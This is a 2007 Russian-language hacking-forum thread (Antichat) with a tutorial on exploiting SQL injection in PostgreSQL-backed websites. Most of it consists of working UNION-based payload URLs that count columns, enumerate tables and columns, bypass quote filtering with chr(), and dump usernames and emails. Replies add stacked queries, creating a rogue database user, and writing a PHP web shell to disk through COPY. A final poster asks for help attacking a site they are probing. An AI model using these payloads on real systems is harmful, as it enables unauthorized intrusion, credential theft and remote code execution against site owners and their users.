Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Проведение SQL-Injection в PostgreSQL |

15.03.2007, 21:14
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Проведение SQL-Injection в PostgreSQL
[Intro]
Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
Начнём!
[Подбор столбцов]
Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
Для этого существует 2 пути:
1. Простой перебор
допустим у нас есть сайт с иньекцией
Код:
www.site.com/index.php?id=1'
тогда выполняем такой запрос
Код:
www.site.com/index.php?id=-1+union+select+null
если появилась ошибка, то увеличиваем количество колонок на одну
Код:
www.site.com/index.php?id=-1+union+select+null,null
и так пока не исчезнет ошибка и появится пустая страница
2. Оператор ORDER BY
С помощью этого оператора можно намного проще и быстрее определить количество столбцов
Выполняем такой запрос:
Код:
www.site.com/index.php?id=-1+order+by+1--
(ошибки нет, значит столбцов 1 или больше 1)
Код:
www.site.com/index.php?id=-1+order+by+9999--
(должна появится ошибка, значит столбцов меньше 9999)
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
Код:
www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
Код:
www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)
[Определяем вывод]
Предположим мы подобрали количество столбцов и их оказалось 4
Код:
www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
подставим заместо одного из null - цифру
Код:
www.site.com/index.php?id=-1+union+select+null,111,null,null--
И так меняя столбцы мы узнаём вывод
Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)
[Information_Schema]
К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.
Узнаём таблицы
Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:
Код:
www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)
Узнаём колонки
Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
Для этого изменяем запрос на такой:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS--
Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добовляя в него оператор WHERE:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:
ERROR: syntax error at or near "user" at character 173
Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
chr(113)||chr(114) - вернёт QR
Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
Код:
http://www.paulschou.com/tools/xlate/
Но вернёмся к нашему сайту
Закодировав слово user - мы получаем вот такие числа
117 115 101 114
Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)--
Теперь наш запрос правильный и должен вернуть имя колонки
Так же обойти фильтрацию кавычек можно подзапросом. Пример:
Код:
www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
[PG_TABLES или альтернатива Information_schema]
В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
Пример
Код:
www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0--
[Хэк или достаём нужную нам инфу из таблицы]
Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
Составляем запрос:
Код:
www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя юзера
Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать
Код:
www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user--
Мы увидим запись типа Имя_юзера:мыло_юзера
Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
Использовать так -
CONVERT(preved+using+utf8_to_iso_8859_1)
где:
preved - строка которую нам нужно перевести в другую кодировку
utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)
[Заключение]
В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)
##END
ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению
Последний раз редактировалось Spyder; 11.04.2007 в 10:23..
|
|
|

16.03.2007, 12:50
|
|
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме: 1106266
Репутация:
366
|
|
Можно также узнать колонки если кавычки фильтруются таким способом:
Код:
http://site.ru/index.php?id=-1+union+select+null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+20)--
подобрав нужную таблицу.
|
|
|

16.03.2007, 17:00
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме: 3536885
Репутация:
447
|
|
так же можно добавить
current_database() возвращает имя базы данных с которой работает скрипт
current_user() имя пользователя, под которым работает скрипт
version() информация о версии.
|
|
|

21.04.2007, 04:28
|
|
Новичок
Регистрация: 20.04.2007
Сообщений: 8
Провел на форуме: 4667
Репутация:
0
|
|
Спасибо за статейку - она мне помогла! Я тулил в качесте коммента такой как в МуСКЛ и натыкался на еррор  И завтыкал сам проверить двойной дефис! Ну эт детали! А вообще-то ОГРОММНОЕ СПАСИБО!
А еще...
Как вывести запрос в файл так как это делайет мускл?
Последний раз редактировалось R®.L@mer; 21.04.2007 в 18:39..
|
|
|

23.04.2007, 19:51
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Как вывести запрос в файл так как это делайет мускл?
на данный момент никак =\
|
|
|

23.04.2007, 20:14
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
LOAD -- Загрузка файла в память.
COPY -- Переносим файл в таблицу.
COPY tablename [ ( column [, ...] ) ]
FROM { 'filename' | STDIN }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE NOT NULL column [, ...] ]
COPY { tablename [ ( column [, ...] ) ] | ( query ) }
TO { 'filename' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ HEADER ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE QUOTE column [, ...] ]
|
|
|

23.04.2007, 20:22
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Автор так же не заметил
1) Важную вещь.
Коментарий и прерыв строки в некоторых случаях, особенно в сложных запросах он не обходим. Так вот коментарий в PGSQL служит так же симаол "{".
Так же есть возможность прерываний строки ";"
Далее создаем системного юзера:
CREATE USER hacker WITH PASSWORD 'hackpass'
Так же подкину системные таблички:
- pg_auth_members
- pg_authid
- pg_database
- pg_pltemplate
- pg_shdepend
- pg_shdescription
- pg_tablespace
Вроде все вспомнб что еще напишу )))
Последний раз редактировалось [ cash ]; 23.04.2007 в 20:32..
|
|
|

23.04.2007, 20:28
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Я не претендую на полный мануал
В этой статье я пытался поделится своими знаниями
СПС, Кэш, дополню
|
|
|

06.05.2007, 04:12
|
|
Новичок
Регистрация: 21.04.2007
Сообщений: 11
Провел на форуме: 50860
Репутация:
3
|
|
Сообщение от Spyder
на данный момент никак =\
Вот ща поставил себе сервер постгре, и короче сделал вывод в файл!
COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'
Только блин на серваке, ипстественно не моем не получается, видать прав у юзера мало 
Над будет попробывать создать юзера
|
|
|

28.02.2009, 21:09
|
|
Познающий
Регистрация: 27.02.2009
Сообщений: 31
Провел на форуме: 57677
Репутация:
4
|
|
help
всем доброго времени суток..
попытался исследовать один сайт на скёрл инекции, потыкался, потыкался, и нашёл такие ошибки, а что с ними делать дальше я не понимаю...
может подсказать в каком направлении идти дальше, продолжать бить эти ошибки, или же искать в других местах?
заранее спасибо
вот скрин ошибок

|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|